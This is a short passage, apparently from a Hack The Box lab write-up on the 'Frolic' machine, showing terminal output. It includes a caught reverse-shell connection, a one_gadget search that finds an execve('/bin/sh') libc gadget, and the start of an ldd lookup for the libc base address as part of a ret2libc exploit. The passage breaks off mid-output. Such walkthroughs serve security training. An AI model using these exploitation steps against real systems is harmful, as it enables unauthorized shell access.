http://binternet.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/HTB/Easy/23.html
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ one_gadget -f libc rop
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL now that we have a gadget at 0x3ac5c, we should be able to get a shell. Although we need to find libc's base address, for that matter we will use the ldd command. $ ldd rop
ldd rop
linux-gate.so.1 => ...